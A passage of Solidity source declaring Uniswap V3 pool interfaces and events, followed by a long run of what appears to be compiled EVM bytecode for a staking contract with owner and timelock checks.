liquidity from the sender and account tokens owed for the liquidity to the position /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0 /// @dev Fees must be collected separately via a call to #collect /// @param tickLower The lower tick of the position for which to burn liquidity /// @param tickUpper The upper tick of the position for which to burn liquidity /// @param amount How much liquidity to burn /// @return amount0 The amount of token0 sent to the recipient /// @return amount1 The amount of token1 sent to the recipient function burn( int24 tickLower, int24 tickUpper, uint128 amount ) external returns (uint256 amount0, uint256 amount1); /// @notice Swap token0 for token1, or token1 for token0 /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback /// @param recipient The address to receive the output of the swap /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0 /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative) /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this /// value after the swap. If one for zero, the price cannot be greater than this value after the swap /// @param data Any data to be passed through to the callback /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); /// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback /// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback /// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling /// with 0 amount{0,1} and sending the donation amount(s) from the callback /// @param recipient The address which will receive the token0 and token1 amounts /// @param amount0 The amount of token0 to send /// @param amount1 The amount of token1 to send /// @param data Any data to be passed through to the callback function flash( address recipient, uint256 amount0, uint256 amount1, bytes calldata data ) external; /// @notice Increase the maximum number of price and liquidity observations that this pool will store /// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to /// the input observationCardinalityNext. /// @param observationCardinalityNext The desired minimum number of observations for the pool to store function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; /// @title Permissioned pool actions /// @notice Contains pool methods that may only be called by the factory owner interface IUniswapV3PoolOwnerActions { /// @notice Set the denominator of the protocol's % share of the fees /// @param feeProtocol0 new protocol fee for token0 of the pool /// @param feeProtocol1 new protocol fee for token1 of the pool function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external; /// @notice Collect the protocol fee accrued to the pool /// @param recipient The address to which collected protocol fees should be sent /// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1 /// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0 /// @return amount0 The protocol fee collected in token0 /// @return amount1 The protocol fee collected in token1 function collectProtocol( address recipient, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; /// @title Events emitted by a pool /// @notice Contains all events emitted by the pool interface IUniswapV3PoolEvents { /// @notice Emitted exactly once by a pool when #initialize is first called on the pool /// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize /// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96 /// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool event Initialize(uint160 sqrtPriceX96, int24 tick); /// @notice Emitted when liquidity is minted for a given position /// @param sender The address that minted the liquidity /// @param owner The owner of the position and recipient of any minted liquidity /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity minted to the position range /// @param amount0 How much token0 was required for the minted liquidity /// @param amount1 How much token1 was required for the minted liquidity event Mint( address sender, address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted when fees are collected by the owner of a position /// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees /// @param owner The owner of the position for which fees are collected /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount0 The amount of token0 fees collected /// @param amount1 The amount of token1 fees collected event Collect( address indexed owner, address recipient, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount0, uint128 amount1 ); /// @notice Emitted when a position's liquidity is removed /// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect /// @param owner The owner of the position for which liquidity is removed /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity to remove /// @param amount0 The amount of token0 withdrawn /// @param amount1 The amount of token1 withdrawn event Burn( address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted by the pool for any swaps between token0 and token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the output of the swap /// @param amount0 The delta of the token0 balance of the pool /// @param amount1 The delta of the token1 balance of the pool /// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96 /// @param liquidity The liquidity of the pool after the swap /// @param tick The log base 1.0001 of price of the pool after the swap event Swap( address indexed sender, address indexed recipient, int256 amount0, int256 amount1, uint160 sqrtPriceX96, uint128 liquidity, int24 tick ); /// @notice Emitted by the pool for any flashes of token0/token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the tokens from flash /// @param amount0 The amount of token0 that was flashed /// @param amount1 The amount of token1 that was flashed /// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee /// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee event Flash( address indexed sender, address indexed recipient, uint256 amount0, uint256 amount1, uint256 paid0, uint256 paid1 ); /// @notice Emitted by the pool for increases to the number of observations that can be stored /// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index /// just before a mint/swap/burn. /// @param observationCardinalityNextOld The previous value of the next observation cardinality /// @param observationCardinalityNextNew The updated value of the next observation cardinality event IncreaseObservationCardinalityNext( uint16 observationCardinalityNextOld, uint16 observationCardinalityNextNew ); /// @notice Emitted when the protocol fee is changed by the pool /// @param feeProtocol0Old The previous value of the token0 protocol fee /// @param feeProtocol1Old The previous value of the token1 protocol fee /// @param feeProtocol0New The updated value of the token0 protocol fee /// @param feeProtocol1New The updated value of the token1 protocol fee event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New); /// @notice Emitted when the collected protocol fees are withdrawn by the factory owner /// @param sender The address that collects the protocol fees /// @param recipient The address that receives the collected protocol fees /// @param amount0 The amount of token0 protocol fees that is withdrawn /// @param amount0 The amount of token1 protocol fees that is withdrawn event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1); }
0x608060405234801561001057600080fd5b50600436106104715760003560e01c80638980f11f11610250578063cc2abd6411610150578063e1ba95d2116100c8578063f288baf611610097578063fce6fd131161007c578063fce6fd1314610af3578063fe082ada14610b05578063fff6cae914610b3557600080fd5b8063f288baf614610ae1578063f2a8d34914610aea57600080fd5b8063e1ba95d214610a9e578063e90956cf14610aa6578063e9f2838e14610ab9578063f12f144714610ace57600080fd5b8063d8b9a0181161011f578063da0f2ec011610104578063da0f2ec014610a63578063dc6663c714610a76578063e01f62bf14610a9657600080fd5b8063d8b9a01814610a0d578063d9f96e8d14610a2d57600080fd5b8063cc2abd64146109d5578063cdc82e80146109e8578063d42fc9b4146109f1578063d77258b314610a0457600080fd5b80639c5303eb116101e3578063b94c4dcb116101b2578063bdacb30311610197578063bdacb3031461099a578063bf20e71e146109ad578063c92073c1146109b557600080fd5b8063b94c4dcb1461097d578063bbb781cc1461098657600080fd5b80639c5303eb1461091d5780639f43ae0914610930578063a2217bc51461096d578063b3def2f51461097557600080fd5b80639393bb7f1161021f5780639393bb7f146108d6578063941d9f65146108ea5780639637927f146108fd57806396f66e6d1461091057600080fd5b80638980f11f146108555780638bad86a7146108685780638da5cb5b1461089657806392ad4159146108b657600080fd5b80633b4f5103116103765780635ea1e678116102ee5780636e27cef9116102bd578063807c48da116102a2578063807c48da1461081c578063819d4cc61461082f578063847370291461084257600080fd5b80636e27cef91461080b57806379ba50971461081457600080fd5b80635ea1e678146107b957806360153c4d146107c657806364f2c060146107f05780636ce46bc3146107f857600080fd5b806352732bc811610345578063575959bf1161032a578063575959bf146107565780635b1d149d146107695780635e415e691461078957600080fd5b806352732bc8146106cf57806353a47bb71461073657600080fd5b80633b4f5103146106815780633d18b9121461069457806349fb388a1461069c5780634fd2b536146106bc57600080fd5b80631c1f78eb11610409578063323331ca116103d857806336f89af2116103bd57806336f89af2146105fd578063377be65114610633578063386a95251461067857600080fd5b8063323331ca146105d457806332d342b7146105ea57600080fd5b80631c1f78eb1461059e57806328ef934e146105a65780632c0c2a0a146105b95780632ca1a895146105cc57600080fd5b8063152129b211610445578063152129b21461052c5780631627540c1461056557806317b18c89146105785780631b3e870a1461058b57600080fd5b80628cc26214610476578063049074f31461049c5780630d7bac4f146104b1578063150b7a02146104c4575b600080fd5b6104896104843660046154b7565b610b3d565b6040519081526020015b60405180910390f35b6104af6104aa36600461585a565b610bdd565b005b6104896104bf366004615797565b610d46565b6104fb6104d236600461550b565b7f150b7a0200000000000000000000000000000000000000000000000000000000949350505050565b6040517fffffffff000000000000000000000000000000000000000000000000000000009091168152602001610493565b601654610555907801000000000000000000000000000000000000000000000000900460ff1681565b6040519015158152602001610493565b6104af6105733660046154b7565b610d9f565b6104af6105863660046157eb565b610ebf565b6104af6105993660046154b7565b610f45565b610489611034565b6104af6105b4366004615610565b61104f565b6104896105c73660046154b7565b61118e565b6104896112a2565b6025546105559065010000000000900460ff1681565b6104af6105f8366004615797565b611344565b61048961060b3660046154b7565b73ffffffffffffffffffffffffffffffffffffffff166000908152601f602052604090205490565b6016546106539073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610493565b610489600e5481565b6104af61068f3660046154d3565b61143c565b610489611532565b6006546106539073ffffffffffffffffffffffffffffffffffffffff1681565b6104896106ca3660046154b7565b61162e565b6104af6106dd3660046154b7565b33600090815260236020908152604080832073ffffffffffffffffffffffffffffffffffffffff9490941683529290522080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b6001546106539073ffffffffffffffffffffffffffffffffffffffff1681565b6104af6107643660046155e5565b61164b565b6008546106539073ffffffffffffffffffffffffffffffffffffffff1681565b601554610653906c01000000000000000000000000900473ffffffffffffffffffffffffffffffffffffffff1681565b6025546105559060ff1681565b6015546107dd906601000000000000900460020b81565b60405160029190910b8152602001610493565b601d54610489565b6104af61080636600461582f565b611786565b61048960115481565b6104af6119e7565b6104af61082a366004615715565b611b32565b6104af61083d3660046155e5565b611cbc565b6104af6108503660046157eb565b611eda565b6104af6108633660046155e5565b6120c0565b61087b6108763660046154b7565b6121d4565b60408051938452602084019290925290820152606001610493565b6000546106539073ffffffffffffffffffffffffffffffffffffffff1681565b6108c96108c43660046154b7565b6123b3565b6040516104939190615979565b6015546107dd906301000000900460020b81565b6104af6108f83660046154b7565b612486565b6025546105559062010000900460ff1681565b6015546107dd9060020b81565b6104af61092b3660046154b7565b61259f565b6016546109589074010000000000000000000000000000000000000000900463ffffffff1681565b60405163ffffffff9091168152602001610493565b6104af612691565b61048961276e565b61048960105481565b602554610555906301000000900460ff1681565b6104af6109a83660046154b7565b612bb5565b6104af612c9f565b600a546106539073ffffffffffffffffffffffffffffffffffffffff1681565b6104af6109e336600461574d565b612d74565b610489600f5481565b6104896109ff3660046154b7565b612ed6565b610489600d5481565b6005546106539073ffffffffffffffffffffffffffffffffffffffff1681565b610489610a3b3660046154b7565b73ffffffffffffffffffffffffffffffffffffffff166000908152601e602052604090205490565b6104af610a713660046157c7565b6130b4565b6009546106539073ffffffffffffffffffffffffffffffffffffffff1681565b601c54610489565b6104af61316a565b6104af610ab43660046154b7565b613248565b60255461055590640100000000900460ff1681565b6104af610adc3660046154b7565b613332565b61048960135481565b61048960125481565b60255461055590610100900460ff1681565b601554610b21906901000000000000000000900462ffffff1681565b60405162ffffff9091168152602001610493565b6104af61341d565b600080610b486134d3565b73ffffffffffffffffffffffffffffffffffffffff8416600090815260196020908152604080832054601890925290912054919250610bd691610bd090670de0b6b3a764000090610bca90610b9e90879061352e565b73ffffffffffffffffffffffffffffffffffffffff89166000908152601f602052604090205490613570565b90613625565b9061345a565b9392505050565b60005473ffffffffffffffffffffffffffffffffffffffff16331480610c1a575060095473ffffffffffffffffffffffffffffffffffffffff1633145b610c85576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b000000000000000000000060448201526064015b60405180910390fd5b610e108163ffffffff161115610cf7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600d60248201527f5457415020746f6f206c6f6e67000000000000000000000000000000000000006044820152606401610c7c565b6016805463ffffffff90921674010000000000000000000000000000000000000000027fffffffffffffffff00000000ffffffffffffffffffffffffffffffffffffffff909216919091179055565b600080610d88610d79601054610bca610d72670de0b6b3a7640000600f5461352e90919063ffffffff16565b8790613570565b670de0b6b3a76400009061345a565b9050600f54811115610d995750600f545b92915050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610e46576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602f60248201527f4f6e6c792074686520636f6e7472616374206f776e6572206d6179207065726660448201527f6f726d207468697320616374696f6e00000000000000000000000000000000006064820152608401610c7c565b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83169081179091556040519081527f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce229060200160405180910390a150565b600280541415610f2b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610c7c565b60028055610f3c3380848442613667565b50506001600255565b60005473ffffffffffffffffffffffffffffffffffffffff16331480610f82575060095473ffffffffffffffffffffffffffffffffffffffff1633145b610fe8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610c7c565b73ffffffffffffffffffffffffffffffffffffffff16600090815260216020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b600061104a600e546110446112a2565b90613570565b905090565b60255460ff6101009091041615156001146110c6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f4e6f7420696e206d6967726174696f6e000000000000000000000000000000006044820152606401610c7c565b73ffffffffffffffffffffffffffffffffffffffff8416600090815260236020908152604080832033845290915290205460ff16801561111557503360009081526021602052604090205460ff165b61117b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f4d69677261746f7220696e76616c6964206f7220756e617070726f76656400006044820152606401610c7c565b6111888433858585613667565b50505050565b60008061119a8361162e565b90508015611299576003546040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff858116600483015260009261125b928592610bca92670de0b6b3a7640000929116906370a082319060240160206040518083038186803b15801561122357600080fd5b505afa158015611237573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104491906157af565b90506000611280670de0b6b3a7640000610bca6013548561357090919063ffffffff16565b905060135481111561129157506013545b949350505050565b50600092915050565b60055460009073ffffffffffffffffffffffffffffffffffffffff161561133d5761104a670de0b6b3a7640000610bca601a54600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630a3be7576040518163ffffffff1660e01b815260040160206040518083038186803b15801561122357600080fd5b50600d5490565b6002805414156113b0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610c7c565b60028055602554640100000000900460ff1615611429576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f5769746864726177616c732070617573656400000000000000000000000000006044820152606401610c7c565b611434333383613b15565b506001600255565b60005473ffffffffffffffffffffffffffffffffffffffff16331480611479575060095473ffffffffffffffffffffffffffffffffffffffff1633145b6114df576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610c7c565b6005805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560068054929093169116179055565b60006002805414156115a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610c7c565b6002805560255465010000000000900460ff161561161a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f5265776172647320636f6c6c656374696f6e20706175736564000000000000006044820152606401610c7c565b6116243333614019565b9050600160025590565b6000610d99670de0b6b3a7640000610bca60125461104486612ed6565b60255460ff6101009091041615156001146116c2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f4e6f7420696e206d6967726174696f6e000000000000000000000000000000006044820152606401610c7c565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260236020908152604080832033845290915290205460ff16801561171157503360009081526021602052604090205460ff165b611777576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f4d69677261746f7220696e76616c6964206f7220756e617070726f76656400006044820152606401610c7c565b611782823383613b15565b5050565b60005473ffffffffffffffffffffffffffffffffffffffff163314806117c3575060095473ffffffffffffffffffffffffffffffffffffffff1633145b611829576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610c7c565b670de0b6b3a76400008310156118c0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f4d756c74206d757374206265203e3d204d554c5449504c4945525f505245434960448201527f53494f4e000000000000000000000000000000000000000000000000000000006064820152608401610c7c565b6000811161192a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f766546585320706374206d6178206d757374206265203e3d20300000000000006044820152606401610c7c565b600f839055601382905560128190556040518281527fc9d56ccdd6b954d8d74700db074cc667054f8e33c1b8d23e97021d4c588a87619060200160405180910390a17f56a7f617180f6beea050b873366dccd22ab6564e9a4c921b9be53a4af4e9bcc8600f5460405161199f91815260200190565b60405180910390a17fce426dd9202a2e5a80566b295160d3891cadf200ec0b6a326ce9894fe7f260306012546040516119da91815260200190565b60405180910390a1505050565b60015473ffffffffffffffffffffffffffffffffffffffff163314611a8e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603560248201527f596f75206d757374206265206e6f6d696e61746564206265666f726520796f7560448201527f2063616e20616363657074206f776e65727368697000000000000000000000006064820152608401610c7c565b6000546001546040805173ffffffffffffffffffffffffffffffffffffffff93841681529290911660208301527fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c910160405180910390a160018054600080547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff841617909155169055565b60055473ffffffffffffffffffffffffffffffffffffffff1615801590611b6157508080611b615750601b5442115b15611cb9576005546040517f6472eee100000000000000000000000000000000000000000000000000000000815230600482015242602482015273ffffffffffffffffffffffffffffffffffffffff90911690636472eee190604401602060405180830381600087803b158015611bd757600080fd5b505af1158015611beb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c0f91906157af565b601a55600554604080517f513872bd000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff9092169163513872bd91600480820192602092909190829003018186803b158015611c7d57600080fd5b505afa158015611c91573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cb591906157af565b601b555b50565b60005473ffffffffffffffffffffffffffffffffffffffff16331480611cf9575060095473ffffffffffffffffffffffffffffffffffffffff1633145b611d5f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610c7c565b602554610100900460ff16611df35760075473ffffffffffffffffffffffffffffffffffffffff83811691161415611df3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f4e6f7420696e206d6967726174696f6e000000000000000000000000000000006044820152606401610c7c565b6000546040517f42842e0e00000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff918216602482015260448101839052908316906342842e0e90606401600060405180830381600087803b158015611e6d57600080fd5b505af1158015611e81573d6000803e3d6000fd5b50506040805173ffffffffffffffffffffffffffffffffffffffff86168152602081018590527f57519b6a0997d7d44511836bcee0a36871aa79d445816f6c464abb0cd9d3f3e893500190505b60405180910390a15050565b60005473ffffffffffffffffffffffffffffffffffffffff16331480611f17575060095473ffffffffffffffffffffffffffffffffffffffff1633145b611f7d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610c7c565b6001821015611fe8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f4d756c206d61782074696d65206d757374206265203e3d2031000000000000006044820152606401610c7c565b6001811015612053576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f4d756c206d696e2074696d65206d757374206265203e3d2031000000000000006044820152606401610c7c565b601082905560118190556040518281527f74fa102aff6c8f2f6340638f052d9364a1c84bbe95ef31eed189e87e357551da9060200160405180910390a16040518181527f53f6493eec470b97db35629d432373ea4232ee1505f5ff961b2ece5b5d92b81390602001611ece565b60005473ffffffffffffffffffffffffffffffffffffffff163314806120fd575060095473ffffffffffffffffffffffffffffffffffffffff1633145b612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610c7c565b60005461218890839073ffffffffffffffffffffffffffffffffffffffff168361437f565b6040805173ffffffffffffffffffffffffffffffffffffffff84168152602081018390527f55350610fe57096d8c0ffa30beede987326bccfcb0b4415804164d0dd50ce8b19101611ece565b73ffffffffffffffffffffffffffffffffffffffff81166000908152601f602052604081205490806122058461118e565b73ffffffffffffffffffffffffffffffffffffffff85166000908152601460205260408120549193509061224190600290610bca90869061345a565b90506000915060005b73ffffffffffffffffffffffffffffffffffffffff861660009081526020805260409020548110156123aa5773ffffffffffffffffffffffffffffffffffffffff8616600090815260208052604081208054839081106122d3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60009182526020918290206040805160e0810182526006909302909101805483526001810154938301939093526002808401549183019190915260038301546060830181905260048401546080840181905260059094015480830b830b830b60a085015263010000009004820b820b90910b60c0830152909250421061235e5750670de0b6b3a76400005b60208201516000612385670de0b6b3a7640000610bca61237e868a61345a565b8590613570565b9050612391878261345a565b96505050505080806123a290615e48565b91505061224a565b50509193909250565b73ffffffffffffffffffffffffffffffffffffffff8116600090815260208080526040808320805482518185028101850190935280835260609492939192909184015b8282101561247b5760008481526020908190206040805160e08101825260068602909201805483526001808201548486015260028083015493850193909352600382015460608501526004820154608085015260059091015480830b830b830b60a085015263010000009004820b820b90910b60c083015290835290920191016123f6565b505050509050919050565b60005473ffffffffffffffffffffffffffffffffffffffff163314806124c35750600a5473ffffffffffffffffffffffffffffffffffffffff1633145b806124e5575060095473ffffffffffffffffffffffffffffffffffffffff1633145b61254b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f4e6f74206f776e65722c2063757261746f722c206f722074696d656c6f636b006044820152606401610c7c565b73ffffffffffffffffffffffffffffffffffffffff16600090815260246020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00811660ff90911615179055565b60005473ffffffffffffffffffffffffffffffffffffffff163314806125dc575060095473ffffffffffffffffffffffffffffffffffffffff1633145b612642576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610c7c565b73ffffffffffffffffffffffffffffffffffffffff16600090815260216020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055565b60005473ffffffffffffffffffffffffffffffffffffffff163314806126ce575060095473ffffffffffffffffffffffffffffffffffffffff1633145b612734576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610c7c565b602580547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff81166101009182900460ff1615909102179055565b60255460009060ff16156127895750670de0b6b3a764000090565b604080516002808252606082018352600092602083019080368337019050509050601660149054906101000a900463ffffffff16816000815181106127f7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019063ffffffff16908163ffffffff168152505060008160018151811061284d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b63ffffffff909216602092830291909101909101526008546040517f883bdbfd00000000000000000000000000000000000000000000000000000000815260009173ffffffffffffffffffffffffffffffffffffffff169063883bdbfd906128b9908590600401615a05565b60006040518083038186803b1580156128d157600080fd5b505afa1580156128e5573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820160405261292b919081019061564a565b5090506000601660149054906101000a900463ffffffff1660030b82600081518110612980577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151836001815181106129c2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101516129d49190615d73565b6129de9190615b93565b601554909150600290810b810b9082900b136129fe576000935050505090565b60155463010000009004600290810b810b9082900b12612a22576000935050505090565b6000601560069054906101000a900460020b60020b8260020b13612a9957601554612a5e90600281810b9166010000000000009004900b615d10565b601554600291820b91612a7391900b84615d10565b612a889060020b670de0b6b3a7640000615c1b565b612a929190615b2b565b9050612afe565b601554612abe9066010000000000008104600290810b9163010000009004900b615d10565b60020b82601560039054906101000a900460020b612adc9190615d10565b612af19060020b670de0b6b3a7640000615c1b565b612afb9190615b2b565b90505b6000811215612b3857612b31817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff615c1b565b9450612b3c565b8094505b670de0b6b3a7640000851115612bae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f456d697373696f6e20666163746f7220746f6f206869676800000000000000006044820152606401610c7c565b5050505090565b60005473ffffffffffffffffffffffffffffffffffffffff16331480612bf2575060095473ffffffffffffffffffffffffffffffffffffffff1633145b612c58576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610c7c565b600980547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff16331480612cdc575060095473ffffffffffffffffffffffffffffffffffffffff1633145b612d42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610c7c565b602580547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00811660ff90911615179055565b60005473ffffffffffffffffffffffffffffffffffffffff16331480612db15750600a5473ffffffffffffffffffffffffffffffffffffffff1633145b80612dd3575060095473ffffffffffffffffffffffffffffffffffffffff1633145b612e39576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f4e6f74206f776e65722c2063757261746f722c206f722074696d656c6f636b006044820152606401610c7c565b6025805491151565010000000000027fffffffffffffffffffffffffffffffffffffffffffffffffffff00ffffffffff931515640100000000027fffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffffffff951515630100000002959095167fffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffffff909316929092179390931791909116179055565b6040805160e081018252600080825260208201819052918101829052606081018290526080810182905260a0810182905260c08101829052819060005b73ffffffffffffffffffffffffffffffffffffffff851660009081526020805260409020548110156130a85773ffffffffffffffffffffffffffffffffffffffff851660009081526020805260409020805482908110612f9c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60009182526020918290206040805160e08101825260069093029091018054835260018101549383018490526002808201549284019290925260038101546060840152600481015460808401526005015480820b820b820b60a084015263010000009004810b810b900b60c0820152925080156130955760006130228460a001516144ef565b905060006130338560c001516144ef565b6016549091507801000000000000000000000000000000000000000000000000900460ff161561307d5761307661306f83838860200151614981565b879061345a565b9550613092565b61308f61306f83838860200151614a3e565b95505b50505b50806130a081615e48565b915050612f13565b50611291826002613625565b60005473ffffffffffffffffffffffffffffffffffffffff163314806130f1575060095473ffffffffffffffffffffffffffffffffffffffff1633145b613157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610c7c565b600d82905580156117825761178261341d565b60005473ffffffffffffffffffffffffffffffffffffffff163314806131a7575060095473ffffffffffffffffffffffffffffffffffffffff1633145b61320d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610c7c565b602580547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffff8116620100009182900460ff1615909102179055565b60005473ffffffffffffffffffffffffffffffffffffffff16331480613285575060095473ffffffffffffffffffffffffffffffffffffffff1633145b6132eb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610c7c565b600a80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b73ffffffff